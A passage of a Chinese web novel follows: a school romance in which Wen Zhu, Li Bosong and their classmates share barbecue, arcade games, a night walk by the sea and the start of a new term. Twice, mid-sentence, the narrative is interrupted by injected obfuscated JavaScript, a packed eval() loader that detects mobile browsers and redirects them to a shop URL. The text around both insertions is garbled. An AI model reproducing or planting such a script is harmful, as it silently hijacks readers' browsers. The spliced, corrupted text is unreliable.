曲思嘉给他解释:“哦,我昨天问闻竹有没有做物理卷子,我想,呃,借鉴一下,然后她给我拍了李泊松的卷子。” “那你怎么知道那是她拍的,就不能是泊松拍了发给她的?” “嗯?”路一杭这么一挑刺,曲思嘉也愣了一下,之后她说:“对哦,我问问。”然后她就转头问了。 路一杭叹了口气,觉得她这脑子只是偶尔飞速地转一转,转快了就得慢下来,实在累了就闲置。现在这么一问,闻竹和李泊松就都知道他们在聊什么了。 得到了肯定的答案后,曲思嘉回头,颇为得意地和路一杭说:“你看,我的直觉是没错的。” …… - 在大家的共同商议下,他们走进了一家烤肉店,在靠玻璃的位置坐下。李泊松和闻竹来过好几次,曲思嘉翻着菜单让闻竹推荐几个好喝的饮品,闻竹就凑过去和她一起翻。 李泊松在对面给他们两个男生倾情安利这家店的冷面,闻竹觉得自己也是被他洗脑了,每次都习惯性地陪他点那个冷面,没有哪次觉得多好吃。 其实他们两个光顾这家店大多数时候都是因为李泊松想吃这个冷面。 除了在食堂,他们几个凑在一起吃饭的次数并不算太多,今天这回偶遇确实也巧得很。 李泊松像模像样地忙着烤肉,他不紧不慢地嚼着东西,拿着夹子把烤得正好的菠萝片夹到闻竹的盘子里。闻竹眼皮都没抬,小口地吃。 闻竹原本就话不多,在饭桌上更少了。这家店门口的牌子上写着高考生凭借准考证办会员卡两倍充值,他们几个在畅想明年今日,她没参与这个话题,但是很认真地在听。 闻竹的性格比较随遇而安,今天醒了想今天,明天怎么样明天再说,做事半点计划都没有,当下活得还不错,也不大畅想未来。但听他们你一言我一语的话也觉得有些向往,想象“明年此日青云去”大概也是人之常情。 说着说着,曲思嘉就咳嗽了一声,不是真的咳嗽,清清嗓子,像在提醒什么。毕雨泽顺着她的视线看过去,又把头转回来,埋头吃饭。“自习零抬头”本是句空喊的口号,但现在毕雨泽是真的不抬头了。 “怎么了?”李泊松喝了口果汁,觉得周围有人尴尬有人一脸打趣,觉得有些好奇。 路一杭淡淡地回他:“毕雨泽前女友。” “啊?” 李泊松有点惊讶,却不算夸张,这个字的音节咬得很短。他看了眼毕雨泽,又问:“那怎么这个反应?” 他们哪里知道。 于是四个人一起看向毕雨泽。 毕雨泽这才把头抬起来。 “唉,也没什么,就是有点尴尬,一点点。”说完,他抬头看了一眼,又叹气:“唉,就是遇到曾经喜欢的人的那种感觉,你们懂吧?” 三个人同时摇头。 闻竹拿起手边的果汁喝了一口,瞥了眼坐在对面的李泊松。 毕雨泽也把头转向李泊松,问他:“他们三个没谈过恋爱,这我知道,泊松你呢?你不像没有感情经历的样子啊。” 李泊松好好吃着饭,又出于人之常情地听了八卦,之后突然天降一口大锅,李泊松赶忙给自己辩解:“我怎么能不像呢?我多像啊。” 毕雨泽一愣,“你怎么这么不淡定?” “这是我的名誉问题。” 他说完,抬头无意识地看闻竹,闻竹在低头看手机,好似根本没听他们说的话。 “好吧,”毕雨泽摊手,“你就给人这种感觉啊,会照顾人,嘴甜,像哄过很多小姑娘的样子。” “……谢谢,”李泊松放弃挣扎了,“都是天生的。” 毕雨泽还在说:“真的,有人帅得一脸正气,你这就是教科书式的渣男脸。” 闻竹忽然就笑了一声。 她是真的觉得李泊松的反应很有意思,笑得眉眼弯弯,左边脸颊出现了一个小酒窝。 就连李泊松都很少看她这么笑,他脸上的无奈一扫而光,转而装得有些可怜地看着闻竹,他说:“喂。” “嗯,”闻竹应了一声,然后逗他:“夸你帅呢。” 李泊松又在心里叹气了。 他觉得这是他见过最甜的酒窝。 - 暑假本就是旅游旺季,像临城这种天清海蓝、空气质量和温度都相对宜人的城市更是夏天旅行的热门,每到这个时候,商场还算是人少的地方。 他们从烤肉店出来,转头逛进了楼下的电玩城。 电玩城八百年都是那些项目,闻竹不太感兴趣,而且有点吃困了,站在那儿换币的时候她还偏头打了个哈欠。 李泊松走在她身边,很欠地在人耳边打了个响指,他控制着力度,因而是很轻的一声。 闻竹看了他一眼:“你幼不幼稚。” “你说幼稚就幼稚吧,”李泊松不甚在意地应了句,问她:“要不要和我打赌?” 闻竹被他思维跳跃的程度惊到了,她问:“赌什么?” 李泊松指了下那边的篮球机,说:“比那个,我赢了的话,你明天来陪我背课文。” “……”闻竹清醒了,“你怎么好意思的啊,这不是欺负人么。” 这人甚至都不愿意想一想如果她赢了要怎么办,装都懒得装一下的。 李泊松就定定地看着她。 闻竹抬了抬下巴:“那走吧。” 她虽然不常打球,但准头还是有的,抬手的时候就有肌肉记忆驱使。 闻竹做事很专注,不会在乎对手在做什么,在这一分钟里眼神盯着篮筐一下不偏,李泊松很放松地拿球、抬手、投篮,闲适地重复在几个动作,投几个球就去看闻竹一眼。 最后他以十球险胜。 闻竹知道他放水放成了河,也不说什么, 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然后时间的沙漏缓慢地流动,鬼屋不知道在什么时候消失了。 李泊松问她在想什么,她就一五一十地说了当年他故意吓自己的事。 “我小时候怎么这样。”他垂眸弯了下眼睛,好似替小闻竹打抱不平。 闻竹轻嗤,笑他演技差,他明显还记得这件事,她猜李泊松记得比她自己还清晰。因为她当时号啕大哭,哭完又抽抽嗒嗒很久,彻底吓到了他。 就是在离这很近的地方,李泊松记得闻竹被他吓哭之后,陈青说闹着玩没事的,他妈妈却狠狠地批评了他。李泊松记得他妈妈问闻竹是不是他的好朋友,还有他希不希望闻竹开心。 李泊松都点头说是。 然后妈妈说,你做事情之前要想一想,你没有恶意,甚至是抱着想要亲近她的想法去做某些事,可她是不是喜欢你的做法? 这很重要。 这很重要,所以他现在还记得。 两人在门口处站了一会儿,李泊松看到毕雨泽在朝他们这边招手,于是拉着她的袖子去抓娃娃。 到了娃娃机前,毕雨泽他们三个正在一个机子前面围着。毕雨泽面色狰狞、曲思嘉情绪紧张,剩下一个路一杭悠哉悠哉地站在一边拿着签子吃梅花小蛋糕。 闻竹好奇地凑过去看。李泊松问:“怎么样啊?” 路一杭很冷漠地伸手指了下:“七个币,打水漂了。” “哦。”李泊松点了下头。 路一杭不好奇他和闻竹打赌的结果,他认为毋庸置疑,如果李泊松让闻竹赢,闻竹大概会和他绝交。他问李泊松吃不吃小蛋糕,李泊松又摆手。 他活动了下手腕,在毕雨泽手边的框里摸了两个币。 闻竹看到了他的动作,凑到他身边。 毕雨泽好不容易抓到的小羊在钩子上升到最高时骤然落回原点,他面无表情地看到那只小羊转了个方向,在他没抓到之后,从屁股冲着他改成了脸冲着他,隔着玻璃就能看到小羊的笑脸。 “那个,还是算了,”曲思嘉干巴巴地安慰道:“不是你的,终究不是你的。” 毕雨泽:“……” 之后他发现闻竹过来了,刚想打招呼,就看闻竹跟着李泊松去了那边的一个娃娃机前,这才反应过来自己被人摸走了两个币。他问:“他们两个什么时候过来的?” “反正是看到了你刚才抓羊从入门到放弃的全过程。”路一杭耸肩。 毕雨泽不在意那两个币,他只是好奇:“他能抓上来吗?” 路一杭偏头看了眼,那边刚把币投进去,她没看出什么名堂来。但看姿势的话,刚刚毕雨泽几乎九十度猫腰,脑袋都恨不得钻到里面去,李泊松这边只是微微弓着身子,一只手撑着机子,另一只手握上操纵杆,看上去一副游刃有余的样子。 曲思嘉因此得出了一个浅薄的结论:“我觉得,他肯定比你强。” 毕雨泽大手一挥:“走走走,去凑个热闹。” 三两步到了那儿,大家围成一圈眼巴巴地看,毕雨泽伸手戳戳闻竹:“泊松抓娃娃很厉害吗?” 闻竹刚才看到了他那三脚猫的功夫,难得善良点不想打击他,于是她斟酌道:“也还好吧。” 曲思嘉心思单纯,向来相信她,她问:“是吗?我看他的动作像个高手。” “他装的啊,”闻竹没什么负担地拆他台,“你看在基地表演节目那天,他拿着口风琴不是也很自信吗,其实能从头到尾弹出来的就那么一首歌,还是临时抱佛脚。” 李泊松一心两用,抽空看她一眼:“你不要总揭我的底。” “嗯嗯好,”闻竹敷衍他:“你是男神嘛,我以后多多维护你的形象。” 听了这话,李泊松握杆的手再次小幅度地动了下,他弯弯唇,过了几秒,一只小熊打着滚从机器里出来了。 大家的表情都很精彩。 毕雨泽为了挽回自己薛定谔的面子,说:“你看,我说你像谈过很多女朋友的人,抓娃娃都这么熟练。” 李泊松把小熊拿出来,塞进闻竹怀里,谦虚道:“可能是运气好。” 之后他又把另一个币投进去,半分钟后,一只小兔子从出口跳了出来。 “…………” 46. 海边之夜 毕雨泽骑着小电驴,后座载着路一杭,两个人风驰电掣地骑到了李泊松家楼下,毕雨泽捏了下刹车,于是阒寂的黑夜发出了“呲啦”一声。 闻竹先看到他们,她喘了口气,和他俩挥挥手。李泊松顺着她的视线看过去,看到了黑暗中移动的一团。他们两个从车子上下来,一团变成了三团。 “晚上好啊,”李泊松人在状况外但是先问好,他挑眉:“你们怎么过来了?” “你俩……”毕雨泽没答这句问话,盯着他们瞧了一会儿后,他语气真诚地问:“这儿路灯这么暗,黑灯瞎火的,你俩打羽毛球能看着球往哪飞吗?” 闻竹给了他一个无语的眼神,好多天没怼人能耐半点没少:“我们两个闭着眼睛都能打。” 李泊松并不反驳什么,就站在闻竹身边笑。 三伏天的晚上,不远处的车库前边有一圈老人在打牌。夏夜蝉鸣不止,两人都是短袖短裤,李泊松的t恤还是无袖的,好像没人嫌吵,也都不怕蚊子。 路一杭围观了一会儿,扶额把话题扯到正事上:“思嘉在那边的自习室,她给我们打电话说想去海边转转,我们仨碰头之后就来找你们俩,你们倒是失联得很彻底。” “哦,”闻竹很会抓关键:“思嘉怎么不给我打电话?” 李泊松好笑地看了她一眼。 路一杭不像李泊松对闻竹那么宽容,他呵呵两声:“要不你自己看看手机?” 他们两个的包叠着扔在了旁边的躺椅上,闻竹翻来翻去也没找到自己的手机,李泊松就给她打电话,几个人听到一个书包侧兜里传来的微弱的系统铃声。 只不过这个书包是李泊松的。 闻竹和李泊松对视了一会儿,挂断电话的电话都慢了两拍。 闻竹不记得自己是什么时候把手机塞进他包里的,她想不起来也不在意,把音量调大了些,而后看到了屏幕上三个未接来电。李泊松的手机有同样的景象,只是他的手机开着静音,屏蔽得更是彻底。 他们几个商量了一下,把小电驴停在了这儿,走着去找曲思嘉,然后坐公交过去。 路过奶茶店,李泊松问:“请你们喝东西吧,想喝什么?” 毕雨泽原本也不是真的抱怨他们两个不接电话,他摆手:“不用不用。” “葡萄柠檬茶,两杯,”闻竹倒是不客气,她弯唇:“谢谢。” “一杯全糖少冰,”李泊松问,“另一杯呢?” “半糖就行。” 毕雨泽在一边站着,戳了戳路一杭,“嘶”了声:“你有没有觉得,他们两个每次说话的时候都好像和其他人有结界似的?我才发现。” 路一杭心说你小子终于聪明了一回啊,嘴上却说:“哦,青梅竹马嘛。” - 正值暑假,即便是沿海城市,温度也在三十度以上居高不下。白日里太阳炙烤大地,柏油路面都被晒得快能煮熟鸡蛋,入了夜,海边成了最舒服适宜的地方。 除了开车走路,去滨海北路的方法就只有公交。 车站人很多,他们等了二十多分钟,才和一些游客们一起挤上了第二趟135路。只需要一站,打开车门就能看到夏天的夜海。 车子开起来的时候难得有凉风,闻竹的手拉着吊环,身体放松地轻轻摇晃着。车窗是打开的,比空调管用一些,给车厢带来少许凉风。车子行驶在浓荫之下,绕山环游。 闻竹记得一年级的数学课本里有过这样的计算题,在某个车站,上车多少人,下车多少人,又上车多少人……然后问车上还有多少人。她站在路边看着来往的人流,闲闲地想如果眼前的画面出现在数学书上的话,那将会有很多小朋友想哭。 旅游旺季的时候,这座城市一直都是这个样子。 闻竹问曲思嘉怎么想起去自习室了,假期的时候,曲思嘉的微信步数很少超过四位数,她是能不出门就不出门的人,只有考试前才有可能出现在自习室。 “家里的一点破事,烦。” 她看着闻竹,闻竹也看着她。 曲思嘉耷拉着眼皮,反问她:“你呢,竹子同学?假期都快结束了,你和闭关修炼似的终于出现了,前段时间做什么去了?” “不是和你讲了嘛,在家学习呀。” 闻竹期末的那张理综卷子答得并不让她自己满意,所谓的题量大并不是什么万能的托词,不管卷子是什么样的,总有人答得好。为了让自己变成这种人,闻竹在并不宽裕的假期里翻来覆去地翻书做题,笔都用完了一支。 她还偷偷地流过眼泪,在夜里把卷子塞进鞋柜后出门买冰可乐,回家后情绪稳定了再打开鞋柜把卷子拿出来。 “还真是闭关修炼?”曲思嘉笑着用肩膀轻轻撞她的肩膀,调皮道:“怎么样啊闻女侠,有没有功力大增?” 闻竹笑得不行。 曲思嘉一遇到事就会犯瞎客气的毛病,她叹口气问:“你想听听吗?” “思嘉,你想说吗?”闻竹以为她是不想说才岔开的话题,也没有追着问,为了照顾朋友的情绪拿出了压箱底的温柔和善解人意,“这不是我想不想听的问题,你想不想跟我倾诉?只要你说,我会一直想听。” “哎呀——”曲思嘉心情好得多了,心里干净了之后嘴上也没有把门的:“你太好了,真想和你谈恋爱啊……” 后边适时传来一声轻笑。 闻竹回头,看到了弯着眼睛的李泊松,她挑眉,李泊松就摊手,两人相对而立,好像都很无辜。 曲思嘉等着和闻竹倾诉,于是和三个男生说:“你们玩去吧,我和竹子去海边溜达一下。” 毕雨泽的眼神很清澈:“这个季节这个时候去海边能看到什么?人头吗?” “……”曲思嘉:“别管我们了!” 路一杭说“行”,“那我们去打球。” 李泊松把喝完的奶茶杯扔进垃圾桶,转头看向闻竹,低声问她:“手机音量开了吗?” 闻竹拿出手机看了眼,“开了,问这个做什么?” “开大声点,”他又说,“人太多了,别找不到你们。” “没事,玩去吧,”闻竹挥手赶苍蝇似的,“我们两个聊天。” 曲思嘉絮絮叨叨和她说了很多,闻竹在里面提取到了重要信息。大概就是曲思嘉用家里的电脑写小说,被她妈妈抓到了,她妈妈很生气,说她不务正业,高三的学生了还没有危机感摆不正自己的身份。 “我每天都认真学习,品学兼优又乐于助人,却连拥有爱好的权利都没有。”曲思嘉惆怅完,自己琢磨了一下,改口道:“哎,不对!不管我成绩好还是成绩差,我都是有独立人格的啊!” 闻竹摸摸她的头发,“所以你就躲出来了?” “嗯,”曲思嘉一副心意已决的样子,“离家出走了。” 她能这么说,代表已经没那么生气和不解了。 对于这个离家出走限定版的曲思嘉,闻竹表现出了十足的耐心,她点点头,问:“你最近在写什么?爱情友情?还是科幻悬疑?”曲思嘉很厉害,可以说是饱读诗书,所以什么类型的都能写。 “是悬疑小说,不过有个武侠背景,但我现在还没有大纲,只有一个大概的剧情发展和一万多字的开篇。”曲思嘉问:“话说回来,真的会耽误学习吗?” 闻竹歪头,觉得这个问题并不难解决:“人总是要休息的啊,你又不在该学习的时候写,又怎么会耽误学习呢?” 曲思嘉想了想,觉得很有道理。 “不要跟妈妈闹别扭啦,其实……”闻竹想说其实她也是关心你,但也不能说这种做法是完全正确的,最后她改口:“不管怎么说,我支持你,不要顾此失彼就好了。” “知道啦,我也勉强算个学霸嘛。”曲思嘉忽然想到自己两个月前通过学校上交的征文还没结果,一时也有点惆怅。 在朝附近的篮球场走的路上,夜海在她们身后沉默着。曲思嘉问她几点了,闻竹到现在也不能像李泊松那样养成戴表的习惯,只好拿出手机看时间。 “九点四十三。” 距离他们下车已经过去了一个多小时,闻竹打开微信,忍耐了一下惯例差劲的信号,在上边转动的小圈停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297609|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下后发现没有一条消息,她没什么失望的感觉,只是吐槽李泊松鬼话连篇。让她把音量打开,打上篮球估计都忘了她是谁。 可恶的是自己还乖乖听话了,真是…… 还没到球场上,就听到了那边的呼喊声和篮球撞击地面的咚咚声。闻竹听惯了这声音,和曲思嘉一起慢悠悠地走过去。大概她们走得真的很慢,到的时候这场已经打完了。 闻竹一眼看到了李泊松,不知道他是什么时候戴上的发带,黑色的,发带下是汗湿的眉眼。他站得挺直,正一边找纸巾一边和一个自己不认识的男生聊天。 李泊松看见了她,遥遥地朝她笑了下,于是闻竹走过去。走近一些的时候听到那男生说:“哎泊松,你这臂肌,”他语气听起来挺赞叹的,还上手捏了一下,“身材这么好,以前捂那么严干嘛。” “我对柳絮过敏,五月份就得小心点。” 男生恍然大悟:“哦,所以戴那个护目镜是吧。” 曲思嘉去了路一杭他们那边,闻竹在这站着听了一会儿,简直无话可说。 这人是李泊松的迷弟吗? “闻竹,”李泊松招呼她,和那个男生说:“这是陈洋,附中的,前段时间打球认识的。” “嗨,”闻竹腹诽归腹诽,打招呼的时候还是落落大方的,没等李泊松说,她就自我介绍道:“我是闻竹,一中的,李泊松的同学。” 李泊松放下水瓶,抱着胳膊强调:“朋友。” 陈洋这人看着没什么距离感,他笑了下:“哦,是你朋友!” “你们还要再打一场吗?”闻竹问。 “不打了,回家太晚不安全。”李泊松朝毕雨泽他们那边喊了声,问:“走吧?”然后他打了声招呼,去拿自己的包了。 倒是闻竹,闲着也是闲着,本着了解一下“朋友”的朋友的想法,和陈洋聊了几句。 “你家就住在附近吗?还是过来打球?” “我家离附中不远,我是和程栩约球来着,后来他突然来不了了。”说完他解释了句:“程栩是你们学校校篮的。” “哦,我知道。”闻竹看了眼拎着包走回她身边的李泊松,简短地回了句。她平时就是这样的,说完却忽然想到,是她先和人家说话的,这么冷淡不太礼貌,于是说:“他球打得蛮好的。” 陈洋看了她一眼,眼睛一亮。“是吧,他初中的时候和我们学校比过赛,确实很牛逼。”这时李泊松正好走回她身边,他们就和陈洋还有其他人分开了。 他们五个站在滨海北路上,夜晚海风渐起,曲思嘉和路一杭叫了车,大家在陪他们等,等了一会儿发现竟然有细细的雨丝刮在脸上,本想走回去的闻竹李泊松也打开软件叫车。 “我靠,现在这风怎么这么大!” 毕雨泽一边说着话,一边搓了几下胳膊,搓了一会儿之后他发现大家穿得都很少,但只有他表现得像个在路边上蹿下跳的猴,于是就矜持地放下了胳膊。 今夏雨水多,不知什么时候就会从小雨变成瓢泼大雨。 “那个,”毕雨泽轻咳两声,从包里拿出一串钥匙,把其中的一个递给李泊松:“泊松啊,我的座驾就托付给你了……” 李泊松觉得他挺逗的,说道:“可以,我明天给你骑回去?” “不用不用,”毕雨泽摆手,“我明天自己去骑回来就行,我怕一会儿雨下大了,我把钥匙给你,你帮我挪一下吧。” “行,”他比了个手势,笑笑:“没问题。” 路一杭冷冷地说:“毕哥,这是打算蹭车了?” 毕雨泽理直气壮地看了他一眼。 路一杭和曲思嘉下车后还要很久才能到毕雨泽家,在这打车的话,他和谁都可以顺路。过了两分钟,一辆私家车缓缓停下,毕雨泽就上了车。 曲思嘉坐副驾驶,两个男生坐在后面,车子开走的时候,曲思嘉顺着车窗望出去和他们打招呼,问他们的车什么时候到,闻竹凑过去看了眼李泊松的手机,说两分钟。 他们两个的动作并不算太亲密,路灯下的影子却融为一体,好似交颈一般。 47. 夏日无尽 雨丝只飘了一会儿就停了,地面都没湿。闻竹和李泊松盯着打车软件地图上和他们所在地背道而驰的标记看了一会儿,半分钟后等到了一个“原接单司机暂时无法接您”的短信。 这时末班车已经停运了,不打车就只能走着,李泊松看着闻竹,等她做决定。 “走吧,”闻竹抬头看了眼,觉得不能再下雨了。她又问:“你走得动吧?” “……”李泊松微笑,“你说什么?” 闻竹:“哦,没事。” 他们走在公路边,遥望远处的亮着灯的桥。热闹被丢在了后面,气氛正好,李泊松想了想,抓住时机状似漫不经心地问:“你刚刚和陈洋刚聊什么?” “陈洋是?”她说话没怎么动脑,抬头看到李泊松无奈的眼神后才恍然:“哦,你说刚才那个男生。”闻竹无意识地蹭了下耳朵,“没说什么。” 都是闻竹随口找的话题,对她来说确实是没说什么。 李泊松抓心挠肝,但是依然表现得很淡然:“你们在说程栩?” “嗯,随口聊天嘛,记不大清了,他说程栩球打得好。”她不知道李泊松纠结什么呢,盯着人看了会儿,莞尔道:“你怎么了?” “没事,”他说:“都没听你夸过我。” “啊?”闻竹觉得他这算闹脾气,顿时更觉得有意思。“你是小孩吗,还需要别人认可?” 李泊松垂着眼睛看她。 她问:“藏南好玩么?” 李泊松刚过完十八岁生日一个月,自己买了两张机票飞去了三千公里之外。 “藏南啊,挺美的,很……不一样。”他说完觉得这个回答太没有水平了,于是反思了一下:“我词汇量是不是有点贫瘠?” 偏头看闻竹,发现她好像在憋笑似的,左颊的酒窝都笑出来了。 他们同时想起了那个有文化可以说“落霞与孤鹜齐飞,秋水共长天一色”,没文化只能说“好多鸟”的那个段子。 “挺好的,很不一样,”闻竹学他,故意道:“概括得很到位。” “你……”李泊松简直拿闻竹没办法,出去玩了几天都没见到她,他今天脸上的笑意就没淡过。 “对了,我给你带了礼物,忘记拿给你了。”李泊松想了想,“其实也不算是礼物顺手买的。明天给你。” 闻竹有些惊讶,她先道谢,又问:“哦,明天也要见面啊?” 听了这话,李泊松一副不是很高兴的样子:“是啊,你一个星期没见到我,你都不想我吗?” 闻竹笑了下:“还行吧。” 李泊松也笑,并不和她计较这个答案,接着挑捡着说了些风土人情和有意思的事。他记得很清楚,说了很多,像是发生的时候就想要回家讲给谁听似的。 闻竹不会喧宾夺主打断他,却也问了一些自己想问的问题,听起来对他的话很感兴趣。 李泊松说完,问:“你呢,马上开学了,假期过得开心吗?” 闻竹点头。 其实于她而言,这个假期偶尔出去吃饭,要么就和李泊松打羽毛球,其余的时候都在家里写题。她知道李泊松失联的时候也是在写题,这么想想,倒是和上学的时候无异了。 顺着这条长长的环海路往下走,背面是山,海浪声在身后渐渐远去。温和的夏夜,婆娑树影,他想到了藏南。他很迷恋那个地方,自由、新鲜、辽阔,而他同样迷恋现在。 “你想不想去那边看看,”他提出邀请,“以后我们一起?” “好啊。”她根本没怎么思考就答了。 夜海在他们身后沉默着,不远处的游乐园热热闹闹,亮着灯的摩天轮依然在旋转。摩天轮俯视地面,好像爱神的眼睛。 - 都说春困秋乏夏打盹,午后的时间流速好像和平时不一样,整个城市的节奏都因为暑热慢了下来似的。闻竹在洗手台前洗了三遍脸还是觉得很困,于是随意地穿上鞋下了楼。 她刚走出单元门,习惯性地往李泊松家门口一瞥,竟然真的看到了他。他刚坐上毕雨泽那辆“座驾”的车座,从上衣兜里掏出车钥匙插进锁孔。于是闻竹走近了些,李泊松一眼看到了她。 “嗨,”他在午后摇曳的树影下笑得灿烂如日光,“下午好。” 闻竹的困意并没有因为洗了三次脸而消失一星半点,她困得快晕了,没精打采地应道:“嗯。” “……”他笑,“怎么困成这样?” “不知道,”闻竹说话也比平时慢半拍,有点迷糊的样子让李泊松觉得有点可爱,“就是挺困的,但不想睡。” 李泊松猜道:“哦,下楼买咖啡?” 闻竹缓缓点头。 距离这里最近的咖啡店在校门口,李泊松初步判断以她现在的状态和步速需要走十多分钟,于是他提议:“上车吧,我把你带到店门口。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321757|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦,好啊。”闻竹没提出任何异议就上了车,把手搭在他腰上。 李泊松现在觉得她是真的困到神智不清了。 他感觉自己腰侧的手存在感无比地强,以至于那双手触碰过的地方都像火烧一般。 “你睡着了么?” “闻竹?” “闻竹?” 短短一段路,在李泊松第三次开口的时候,闻竹终于忍不住了。 “您的嘴闭一会儿行吗,今天风挺大的,你也不怕嘴里进沙子。” 这话说得还挺符合闻竹往昔的水平,他觉得闻竹可能醒了,哭笑不得地说:“我怕你在后边睡迷糊了摔下去。” “不会,没那么困了。” 车子在咖啡店门口停下,闻竹连车都没下,仰头看着校门附近绿意如茵的景象。今天的风其实并不大,只是有些轻柔的热风而已,让人觉得很舒服,于是她说:“你去毕雨泽家是吧?我也去。” 李泊松有点惊讶:“嗯?” “嗯,”闻竹实话实说:“坐电动车感觉挺舒服的,咖啡就等着回来再买吧。” 这答案倒是有些出乎意料。李泊松偏头道:“你确定你现在不困了?” 闻竹想,这人怎么这么啰嗦,什么时候安全意识这么强了。李泊松忽然刹车,她差点撞上人的后背,猛然清醒了些,想到他锁骨的伤,于是就不说话了。 她随手拍了下男生的侧腰安抚似的道:“确定,你放心好了,不然我载你?” 李泊松被她逗笑了,说:“那还是算了,我比你重多了。” “啊?”这么多年,闻竹从来都不清楚他的体重,不过一直觉得李泊松身材很好,于是她问:“你多少斤?” “保密,”他一幅神秘的样子,“没有人告诉过你吗,不要打听男生的体重。” 闻竹短促地笑了一声,这才想起来问:“有没有红灯,你干嘛停车?” 他松开车把,闲闲地偏头指了指旁边的店,说:“去给自己借个头盔吧,很远呢。” “……” 车子在柏油路面上稳稳地向前行驶,绿树遮住了这条街,调皮的阳光顺着叶子的间隙钻进来。闻竹轻哼了两句歌,李泊松能听出来,这是他们两个学口风琴时会的第一首歌。 时光有时漫长,有时短暂。 李泊松想,如果夏日是这样的一幅画面,那他希望夏日永远不会结束。 48. 心动萌芽 开学第一天,李泊松来得不算早,因为某位同学水土不服似的赖了床,上学路上无时无刻不在散发着怨气,他一路上都没怎么敢讲话。 闻竹低气压了一路,进了学校终于恢复元气了,先和李泊松聊了几句,而后一路上都在高兴地和认识的人打招呼。 进了教室,大家的状态基本上都像霜打的茄子,放了个长假后好像更累了似的。然而窗外的小鸟们不嫌累,叽叽喳喳地叫着,听起来有些可爱。闻竹周围问了一圈,得到了大家的同意后开窗通了风。 清晨的味道飘进来。 “哎呀,现在好多了。”毕雨泽感叹道。 “嗯?”李泊松诧异地问:“怎么说?” “你没觉得刚进门的时候咱们班的怨气可以复活邪神吗?”毕雨泽语气神秘,“开了窗之后好多了。” 李泊松笑了下,闻竹转头看着他们两个,问道:“毕同学,我的化学卷子呢?” “哦哦,带了带了。” 他抱着书包,一边翻找着卷子一边说:“泊松,你好像晒黑了啊。”他说还不够,还要动手动脚的,伸手把他的外套往上撸了一下,之后他的语气更加确定:“你看,两个颜色了。” 闻竹一直看着他的动作,看李泊松手掌和手腕的色差,这会儿看起来却是直观很多,是晒黑了些,但还是比毕雨泽白,没有对颜值产生半点影响。 化学课代表已经到了曲思嘉那桌,闻竹冷淡地说:“你还扯着他……我的化学卷子找到了吗?” “哦!”毕雨泽忙放手。 手忙脚乱交上了卷子,毕雨泽问:“你做什么去了,出去玩了一趟就晒黑啦?” 李泊松想了想,说:“考驾驶证。” “啊?”毕雨泽看他把书包搭在椅背上,眼睛睁得老大:“c1?” “嗯。” “考完了?” “没有,”李泊松比了个手势:“刚考完科目二。” 那在毕雨泽眼里也约等于考完了,他震惊得嘴都闭不上,又去看闻竹:“竹子你为什么这么淡定,你都不惊讶的吗?” “我早知道了。” 答完之后她又想,我刚知道的时候也没有你这么惊讶,毕竟李泊松本来就是精力用不完能折腾的人,他做什么她都不会觉得多意外。 等李泊松在座位上坐好后,闻竹转着笔问他:“你怎么想起去学车的?” “无聊嘛,”他想了想,答道:“早晚都得考。” 闻竹在包里翻找了一会儿,“这个给你。” “嗯?是什么?”李泊松在卷子里抬起眼,看到她手上的钥匙后顿了顿。 “我妈给你的?”他问。 “嗯,”闻竹点头,“昨天,我在小区里碰到了云姨。”她说完,探究似的看了李泊松一眼。 他接过钥匙,不知道该作何表情。察觉到闻竹的目光后,他轻松地道:“其实我车技还可以,那次是个意外。闻竹,你想骑车兜风吗,想的话我马上去考证。” “哦,你人真好。”闻竹淡淡地陪他演,之后又马上换了副面孔,认真道:“你消停一年吧,高考倒计时都挂上了。” 李泊松答应得很好:“我知道。” “是么?” “你还不了解我吗,”他理直气壮:“从小到大,我最大的优点就是听话。” 闻竹被气笑了,她翻了页书,无语道:“……鬼话连篇。” 预备铃刚打响老陈就背着手从门外走进来了,来得很早但两手空空。进门的时候他先走到班级后边仰着脖欣赏了一下房梁挂着的横幅,道:“你们签上名了啊,哎哟,龙飞凤舞的呢!” 毕雨泽接话道:“是啊是啊,沾沾您的文化底蕴,让我语文多考几分。” 陈老师瞥了他一眼,问:“你签到哪儿了?” 毕雨泽站起身,往前走了一步之后正好在老陈旁边,伸手指给他:“这儿呢,老师。” “哎呀,”老陈很嫌弃地又往前走了两步,“说话就说话站起来干啥,长那么老高别站得离我这么近。” 毕雨泽哈哈笑,老陈问他多高,又问李泊松。欣赏够了大家的签名之后,正式铃也打响了,同学们都落座后大家起立问好。 这节课讲古文专项练习的卷子,这是假期作业其中挺难的一张,李泊松被陈老师叫到了黑板上写第一道题的答案,他先把第二问的两个空写上去了,在第一问的答案上却摇摆不定。 这张卷子是他和闻竹坐在同一张桌子前写的,早知道就应该瞥一眼她的答案。 想到这,李泊松又想,闻竹那本厚厚的语文笔记还在他这儿,他以为自己背熟了上边所有的文学常识和意象,现在看来,学无止境啊。 闻竹抱着胳膊看着李泊松的背影,心里觉得非常纳闷。这人是喜欢被挂在黑板上的感觉么?还不回来干嘛呢。 正腹诽着,她就看到李泊松身子向后转了些,鬼鬼祟祟地回头看她。闻竹闲闲地和他对视,看到他做了个“耶”的手势。 闻竹懂他是什么意思,比了个大拇指。李泊松松了口气,转过头去在题号一的后面写上B选项。 - 转眼又到九月,秋高气爽,又一批新生走进一中校园。闻竹楼下的学姐毕业了,搬进来一个高一的女孩。 